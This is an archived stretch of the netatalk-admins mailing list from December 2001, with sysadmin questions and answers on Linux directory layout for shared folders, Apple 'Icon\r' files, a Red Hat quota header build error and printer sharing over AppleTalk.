Content-Type: text/html
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3DUS-ASCII">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>File Structure</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2 FACE=3D"Arial">I know this is a pretty generic =
question but I would like your opinions or thoughts.</FONT>
</P>

<P><FONT SIZE=3D2 FACE=3D"Arial">I am looking for good placement for my =
shared files on my server.&nbsp; I have 5 hard drives set up as a raid, =
in the past I have always had my system on one drive, a swap on another =
and the files on the rest of the drives.&nbsp; Because I don't know =
enough about Linux yet to know which folders are system folders, where =
should I put my shared folders on the Server.&nbsp; I heard somewhere =
that /var was the place.</FONT></P>

<P><B><FONT SIZE=3D2 FACE=3D"Arial">Brian Curtis</FONT></B>
</P>

<P><I><FONT SIZE=3D2 FACE=3D"Arial">Information Technology =
Manager</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Red-Wire</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">Kelliher Samets Volk</FONT></I>
<BR><I><FONT SIZE=3D2 FACE=3D"Arial">802.862.8261</FONT></I>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C18329.C7F255D0--

From netatalk.administrators-errors@umich.edu  Wed Dec 12 12:02:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA11848
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 12:02:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA24497
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 12:02:39 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA24481
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 12:02:39 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA24439
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:02:38 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 12 Dec 2001 12:02:36 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b83d3a6cceae@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D7467@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7467@ksvcmail.ksvc.com>
Date: Wed, 12 Dec 2001 12:02:35 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: File Structure
Content-Type: multipart/alternative; boundary="============_-1203945939==_ma============"

--============_-1203945939==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I know this is a pretty generic question but I would like your 
>opinions or thoughts.
>
>I am looking for good placement for my shared files on my server.  I 
>have 5 hard drives set up as a raid, in the past I have always had 
>my system on one drive, a swap on another and the files on the rest 
>of the drives.  Because I don't know enough about Linux yet to know 
>which folders are system folders, where should I put my shared 
>folders on the Server.  I heard somewhere that /var was the place.
>
>Brian Curtis
>
>Information Technology Manager
>Red-Wire
>Kelliher Samets Volk
>802.862.8261

I have mine under /home which is a partition on its own. Helios I 
think put theirs in /usr/people/... on Irix.

I think you can put it just about anywhere, so long as security isn't 
that great a deal (/boot and /etc are bad ideas.) I wouldn't put the 
shares in /tmp <grin>

/boot, /root, /lib, /proc, /dev, /etc, /sbin, /bin, /tmp, /usr/bin, 
/usr/sbin, or any combinations of the above aren't good ideas. My 
suggestion is to look at your partitions and see where the most 
likely space is.

/var is usually used for process IDs, lock files, messages and logs, 
but I guess I could be used...

I use /home because thats where most of my users home directories 
are. You could also create a mount point for the raid (my old server 
had a /raid dir), mount the raid and use that. if the "system" 
disk(s) go out, at least the raid should survive. Our IRIX server had 
a 5GB main hard drive with a 72GB UW-SCSI raid attached. The raid was 
mounted at /raid. Never gave us a problem.

-wes yates

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

"Of course, you realize this means war."
-B. Bunny
--============_-1203945939==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>Re: File Structure</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1">I know this
is a pretty generic question but I would like your opinions or
thoughts.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1">I am looking
for good placement for my shared files on my server.&nbsp; I have 5
hard drives set up as a raid, in the past I have always had my system
on one drive, a swap on another and the files on the rest of the
drives.&nbsp; Because I don't know enough about Linux yet to know
which folders are system folders, where should I put my shared folders
on the Server.&nbsp; I heard somewhere that /var was the
place.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><b>Brian
Curtis</b></font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial"
size="-1"><i>Information Technology Manager</i></font><br>
<font face="Arial" size="-1"><i>Red-Wire</i></font><br>
<font face="Arial" size="-1"><i>Kelliher Samets Volk</i></font><br>
<font face="Arial" size="-1"><i>802.862.8261</i></font></blockquote>
<div><br></div>
<div>I have mine under /home which is a partition on its own. Helios I
think put theirs in /usr/people/... on Irix.</div>
<div><br></div>
<div>I think you can put it just about anywhere, so long as security
isn't that great a deal (/boot and /etc are bad ideas.) I wouldn't put
the shares in /tmp &lt;grin&gt;</div>
<div><br></div>
<div>/boot, /root, /lib, /proc, /dev, /etc, /sbin, /bin, /tmp,
/usr/bin, /usr/sbin, or any combinations of the above aren't good
ideas. My suggestion is to look at your partitions and see where the
most likely space is.</div>
<div><br></div>
<div>/var is usually used for process IDs, lock files, messages and
logs, but I guess I could be used...</div>
<div><br></div>
<div>I use /home because thats where most of my users home directories
are. You could also create a mount point for the raid (my old server
had a /raid dir), mount the raid and use that. if the &quot;system&quot;
disk(s) go out, at least the raid should survive. Our IRIX server had
a 5GB main hard drive with a 72GB UW-SCSI raid attached. The raid was
mounted at /raid. Never gave us a problem.</div>
<div><br></div>
<div>-wes yates</div>
<div><br></div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
&quot;Of course, you realize this means war.&quot;<br>
-B. Bunny</div>
</body>
</html>
--============_-1203945939==_ma============--

From netatalk.administrators-errors@umich.edu  Wed Dec 12 12:10:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA12100
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 12:10:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA25997
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 12:10:10 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA25971
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 12:10:09 -0500 (EST)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA25931
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:10:08 -0500 (EST)
Received: from univrel.pr.uconn.edu (jeff@test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.6/8.11.6) with ESMTP id fBCHA2O04609;
	Wed, 12 Dec 2001 12:10:02 -0500
Message-ID: <3C179054.9080105@univrel.pr.uconn.edu>
Date: Wed, 12 Dec 2001 12:13:56 -0500
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011012
X-Accept-Language: en-us
MIME-Version: 1.0
To: Brian Curtis <Bcurtis@KSVC.com>
CC: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: File Structure
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7467@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Brian Curtis wrote:

> I know this is a pretty generic question but I would like your opinions 
> or thoughts.
> 
> I am looking for good placement for my shared files on my server.  I 
> have 5 hard drives set up as a raid, in the past I have always had my 
> system on one drive, a swap on another and the files on the rest of the 
> drives.  Because I don't know enough about Linux yet to know which 
> folders are system folders, where should I put my shared folders on the 
> Server.  I heard somewhere that /var was the place.

I put mine in /home. It mainly has to do with your partitioning.

/etc is for configuration files
/bin and /sbin are for binaries
/boot is for boot information
/dev is for filesystem devices
/lib is for system libraries
/home is for user information and home directories
/root is the root user's home directory
/tmp is for temporary files
/var is for log files, databases, spools, etc
/opt is for "optional" packages (not used in some Linux distributions)
/usr is for user binaries, documentation, etc...

Of course, as there are differences between distributions, your mileage 
may vary.

Jeff


From netatalk.administrators-errors@umich.edu  Wed Dec 12 12:22:55 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA13264
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 12:22:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA02221
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 12:22:55 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA02205
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 12:22:55 -0500 (EST)
Received: from hermit.white-mountain.org (adsl-63-204-195-98.dsl.snfc21.pacbell.net [63.204.195.98])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA02171
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:22:54 -0500 (EST)
Received: from white-mountain.org (localhost.localdomain [127.0.0.1])
	by hermit.white-mountain.org (Postfix) with ESMTP
	id E67D74432; Wed, 12 Dec 2001 09:22:52 -0800 (PST)
Message-ID: <3C179225.A8B36346@white-mountain.org>
Date: Wed, 12 Dec 2001 09:21:41 -0800
From: Jamie Flournoy <jamie@white-mountain.org>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Brian Curtis <Bcurtis@KSVC.com>
Cc: "'netatalk-admins@umich.edu'" <netatalk-admins@umich.edu>
Subject: Re: File Structure
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D7467@ksvcmail.ksvc.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

The "File Hierarchy Standard" tries to address the issue of different
things going in different directories on various *nix flavors. It
doesn't say anything about file sharing, though.

I've been using a scheme a friend told me about: /disks/internal1,
/disks/internal2, /disks/external1, etc. to give your non-system disks a
place to live that is more physical than logical. Symlinks can take care
of the logical to physical mapping; for example; /usr/local/ is on the
system disk but /usr/local/pub, which is the big shared volume, is a
symlink to /disks/internal3/pub. It used to live on the same disk as
/usr/local/ but outgrew it, so I moved it to the Big New Disk mounted at
/disks/internal3 and used a symlink to make everything keep working.

Home dirs are shared too; this is just for things shared to groups.

Maybe a better scheme would be /share/foo for shared volume "foo"?
Dunno. /usr/local works so far.

Brian Curtis wrote:

>
>
> I know this is a pretty generic question but I would like your
> opinions or thoughts.
>
> I am looking for good placement for my shared files on my server.  I
> have 5 hard drives set up as a raid, in the past I have always had my
> system on one drive, a swap on another and the files on the rest of
> the drives.  Because I don't know enough about Linux yet to know which
> folders are system folders, where should I put my shared folders on
> the Server.  I heard somewhere that /var was the place.
>
> Brian Curtis
>
> Information Technology Manager
> Red-Wire
> Kelliher Samets Volk
> 802.862.8261


From netatalk.administrators-errors@umich.edu  Wed Dec 12 12:58:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA15407
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 12:58:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA08424
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 12:58:49 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA08398
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 12:58:49 -0500 (EST)
Received: from mail.cmp-weka.de (poing.dmv-franzis.de [194.122.1.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA08360
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:58:47 -0500 (EST)
Received: from SMTP01 by mail.cmp-weka.de
          via smtpd (for easycomeeasygo.mr.itd.umich.edu [141.211.14.26]) with SMTP; 12 Dec 2001 17:58:46 UT
Received: from [172.29.11.2] [172.29.11.2]
	by mail.cmp-weka.de [172.29.1.6]
	with SMTP (MDaemon.PRO.v5.0.1.R)
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 18:58:14 +0100
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Wed, 12 Dec 2001 18:57:44 +0100
Subject: Re: File Structure
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B83D5928.2D0E8%ts@visual-s.de>
In-Reply-To: <3C179225.A8B36346@white-mountain.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-MDRemoteIP: 172.29.11.2
X-Return-Path: ts@visual-s.de
X-MDaemon-Deliver-To: netatalk-admins@umich.edu

On 2001-12-12 18:21 +0100, Jamie Flournoy <jamie@white-mountain.org> wrote:

> I've been using a scheme a friend told me about: /disks/internal1,
> /disks/internal2, /disks/external1, etc. to give your non-system disks a
> place to live that is more physical than logical.

I don't have the documentation at hand right now, but I believe
creating additional "vanilla" directories at the root level is
discouraged by the FHS.

In addition, locating shares in /home adds to user convenience --
navigation back and forth between /home/<userdirctories> and
/home/sharepoint is a snap: cd ../sharepoint, cd ../username, done.

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers



From netatalk.administrators-errors@umich.edu  Wed Dec 12 15:22:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23192
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 15:22:18 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA06612
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 15:22:14 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA06593
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 15:22:09 -0500 (EST)
Received: from mailgate.ci.tacoma.wa.us (mailgate.ci.tacoma.wa.us [131.191.254.40])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA06153
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 15:21:49 -0500 (EST)
From: CSBURRIS@ci.tacoma.wa.us
Received: from m3.ci.tacoma.wa.us (m3.ci.tacoma.wa.us [131.191.130.35])
	by mailgate.ci.tacoma.wa.us (8.8.8/8.8.8) with ESMTP id MAA08178
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 12:21:31 -0800 (PST)
Received: by m3.ci.tacoma.wa.us with Internet Mail Service (5.5.2653.19)
	id <YYY24AL5>; Wed, 12 Dec 2001 12:20:36 -0800
Message-ID: <49A5DC0AF7A9D3119C7D00A0C9E30645032509D4@m4.ci.tacoma.wa.us>
To: netatalk-admins@umich.edu
Subject: RE: What is the special character at the end of the Icon^M files?
Date: Wed, 12 Dec 2001 11:32:32 -0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I had the same problem when I was converting from CAP to netatalk.  I wrote
the following perl script and proved that the file name is "Icon\r" (a
return character or control-m).  I couldn't figure it out with a shell
script. You run it at the top level of the file share. Once I had determined
the character, I was able to write additional scripts to manipulate or
customize it.

#!/usr/local/bin/perl -w## Finds a netatalk icon file#    Celeste Suliin Burris May 2001## Open the current directory using opendir.my $filename = "";my $iconfile = "Icon\r";opendir (DIRHANDLE, ".");# Read in each file using readdir@filelist = readdir (DIRHANDLE);closedir (DIRHANDLE);# Cycle through file listforeach $file (@filelist){        $filename = $file;        $fnlength = length($filename);        if ($filename eq $iconfile)"find_icon.pl" 29 lines, 509 charactersgeobase1{csburris}28: cat find_icon.pl#!/usr/local/bin/perl -w## Finds a netatalk icon file#    Celeste Suliin Burris May 2001## Open the current directory using opendir.my $filename = "";my $iconfile = "Icon\r";opendir (DIRHANDLE, ".");# Read in each file using readdir@filelist = readdir (DIRHANDLE);closedir (DIRHANDLE);# Cycle through file listforeach $file (@filelist){        $filename = $file;        $fnlength = length($filename);        if ($filename eq $icon!
!
file)        {           print "icon file found, name contains $fnlength chars\n";        }}


Celeste Suliin Burris
Systems Administrator
Tacoma Economic Development Dept.
csburris@ci.tacoma.wa.us


> ----------
> From: 	Simon Hobson
> Sent: 	Tuesday, December 11, 2001 3:25 AM
> To: 	netatalk-admins@umich.edu
> Subject: 	Re: What is the special character at the end of the Icon^M
> files?
> 
> 
> Frank Joerdens wrote:
> >I mean the Icon files that the Apple clients leave all over the place
> >(incidentally, does anyone know what they are for?). The bash shell
> >represents it as a ?, like
> >
> >Icon?
> >
> >and the Midnight Commander, for instance, as
> >
> >Icon^M
> 
> If MC represents it as ^M then it is most likely a carriage return
> character. You can normally get this direct from the keyboard by typing
> <Ctrl-V><Ctrl-M>.
> 
> Simon
> 
> -
> Simon Hobson, Technical Services Engineer
> Colony Gift Corporation Limited
> Lindal in Furness, Ulverston, Cumbria, LA12 0LD
> Tel 01229 461100, Fax 01229 461101
> 
> Registered in England No. 1499611
> Regd. Office : 100 New Bridge Street, London, EC4V 6JA.
> 
> 
> 

From netatalk.administrators-errors@umich.edu  Wed Dec 12 19:43:09 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA04815
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 12 Dec 2001 19:43:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id TAA18387
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 12 Dec 2001 19:43:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id TAA18371
	for netatalk.administrators-members@umich.edu; Wed, 12 Dec 2001 19:43:08 -0500 (EST)
Received: from steward.interdimensions.com (boston-t1.interdim.com [216.5.94.18])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id TAA18340
	for <netatalk-admins@umich.edu>; Wed, 12 Dec 2001 19:43:07 -0500 (EST)
Received: (qmail 12820 invoked from network); 13 Dec 2001 00:43:08 -0000
Received: from slinky.interdim.com (HELO interdimensions.com) (192.168.1.45)
  by steward.interdim.com with SMTP; 13 Dec 2001 00:43:08 -0000
Message-ID: <3C17F99A.8000202@interdimensions.com>
Date: Wed, 12 Dec 2001 19:43:06 -0500
From: Ryan Cleary <tryanc@interdimensions.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.6) Gecko/20011120
X-Accept-Language: en-us
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: Re: 'make' problems - What provides rpcsvc/rquota.h?
References: <BAECKHLFBCDACOFIIOLBAEMMCAAA.bswopes@isecorp.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Blake R. Swopes wrote:

> I'm having problems 'make'ing netatalk on our rh7.0 system. Compile fails
> because of a missing header file "rpcsvc/rquota.h".
> 
> nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
> make[4]: *** [nfsquota.o] Error 1
> make[4]: Leaving directory `/usr/home/bswopes/src/netatalk-1.5pre8/etc/afpd'
> 
> We don't use nfs here, so if it would be possible to just disable that and
> bypass this issue, I'd be thrilled. There didn't seem to be an option for
> that in configure, though.


It's a bug in Red Hat's glibc-devel vs. quota packaging.  In RH 7.1 and 7.0, 
glibc-devel used to supply that file, but in RH 7.2, quota provides it. 
There's an errata glibc-devel package for RH 7.1 and 7.0, which doesn't have 
the file, but no corresponding quota update which includes it.

I filed it under Red Hat's bugzilla:

https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=55418


If you don't want to rebuild the RH 7.1 quota package (using the fix in my 
bug report), you could try upgrading to the RH 7.2 quota package:

quota-3.01pre9-3.i386.rpm

available at your favorite Red Hat mirror...

-Ryan

-- 
T Ryan Cleary <tryanc@interdimensions.com>
URL:  http://people.interdimensions.com/tryanc
PGP:  82 93 32 D7 3A AC C0 8D  34 56 96 CC DA DB 5E 2B


From netatalk.administrators-errors@umich.edu  Thu Dec 13 02:18:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id CAA23230
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 02:18:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA26928
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 02:18:41 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA26909
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 02:18:40 -0500 (EST)
Received: from firstclass.ducommun.ch ([194.209.63.126])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA26843
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 02:18:39 -0500 (EST)
Message-id: <fc.000f5b790006259b000f5b790006259b.625a0@ducommun.ch>
Date: Thu, 13 Dec 2001 08:24:29 +0100
Subject: unsubscribe
To: netatalk-admins@umich.edu
From: "Jose Llopis" <jose.llopis@ducommun.ch>
MIME-Version: 1.0
Content-type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit



Jose LLopis
JDucommun informatique
En Vallaire ouest d
1024 Ecublens VD CH
Tel +41 21 695 10 00
Fax +41 21 695 10 01
Jose.llopis@ducommun.ch


From netatalk.administrators-errors@umich.edu  Thu Dec 13 04:40:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA28147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 04:40:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id EAA21852
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 04:40:15 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id EAA21845
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 04:40:15 -0500 (EST)
Received: from tele-post-20.mail.demon.net (tele-post-20.mail.demon.net [194.217.242.20])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id EAA21828
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 04:40:13 -0500 (EST)
Received: from colonyuk.demon.co.uk ([158.152.173.186] helo=colony.com)
	by tele-post-20.mail.demon.net with esmtp (Exim 2.12 #2)
	id 16ESLW-000EZx-0K
	for netatalk-admins@umich.edu; Thu, 13 Dec 2001 09:40:07 +0000
Received: from [172.20.192.150] (172.20.192.150) by colony.com with ESMTP
 (Eudora Internet Mail Server 2.2); Thu, 13 Dec 2001 09:38:03 +0100
X-Sender: shobson-lists@mail.colony.com
Message-Id: <v03102801b83e2413e600@[172.20.192.150]>
In-Reply-To: <009401c1831d$57b42ac0$6b7f50cb@jasoncha>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 13 Dec 2001 09:37:56 +0000
To: netatalk-admins@umich.edu
From: Simon Hobson <shobson-lists@colony.com>
Subject: Re: Problems dealing with netatalk

>thirdly i want to ask is that: does  netatalk support EPSON Stylus Color
>3000? becoz in SC3000 driver, there is one  named SC3000(AT) in chooser,
>and it is for AppleTalk.... but this cannot  discover any SC3000 which is
>plugged in linux machine... so how to do  that??

No. Printers are shared as type LaserWriter, so your Epson driver will not
see it because it is looking for a different type. The LaserWriter driver
will not work because the printer is not postscript.

Your options are :

1) Fit the (rather expensive for what it is) LocalTalk or EtherTalk
interface board in the printer and conenct it to your network.

2) Connect the printer to one mac and share it (I think it is an option
accessible from the chooser when you select the SC3000 driver). I think
this works, but it's a long time since I've worked with Epsons directly
attached.

3) Connect the printer to your Linux box and use Ghostscript to make it
Postscript compatible. You will use the LaserWriter driver on the Mac to
talk to the Linux server, Ghostscript will then interpret the postscript
and create a bitmap which is then imaged by the printer.

Simon

-
Simon Hobson, Technical Services Engineer
Colony Gift Corporation Limited
Lindal in Furness, Ulverston, Cumbria, LA12 0LD
Tel 01229 461100, Fax 01229 461101

Registered in England No. 1499611
Regd. Office : 100 New Bridge Street, London, EC4V 6JA.



From netatalk.administrators-errors@umich.edu  Thu Dec 13 05:42:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id FAA00640
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 13 Dec 2001 05:42:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA20639
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 13 Dec 2001 05:42:24 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA20620
	for netatalk.administrators-members@umich.edu; Thu, 13 Dec 2001 05:42:23 -0500 (EST)
Received: from smtpzilla2.xs4all.nl (smtpzilla2.xs4all.nl [194.109.127.138])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA20562
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 05:42:22 -0500 (EST)
Received: from intra.pro.nl (s340-modem3783.dial.xs4all.nl [194.109.174.199])
	by smtpzilla2.xs4all.nl (8.12.0/8.12.0) with ESMTP id fBDAgK9r047083
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 11:42:21 +0100 (CET)
Received: from pro.nl (localhost [127.0.0.1])
	by intra.pro.nl (Postfix) with SMTP id 1F12862178
	for <netatalk-admins@umich.edu>; Thu, 13 Dec 2001 11:41:59 +0100 (CET)
Received: from 10.0.0.71
        (SquirrelMail authenticated user jiri)
        by intra.pro.nl with HTTP;
        Thu, 13 Dec 2001 11:41:59 +0100 (CET)
Message-ID: <49384.10.0.0.71.1008240119.squirrel@intra.pro.nl>
Date: Thu, 13 Dec 2001 11:41:59 +0100 (CET)
Subject: mac volume's mounten on linux
From: "Jiri D. Hoogeveen" <jiri@pro.nl>
To: <netatalk-admins@umich.edu>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.0 [cvs])
MIME-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Hi,

Don't know if this is the right place to ask.

I have the need to mount mac volume's on linux.

I have tried to use afpfs but this doesn't work anymore with kernel 2.4.x
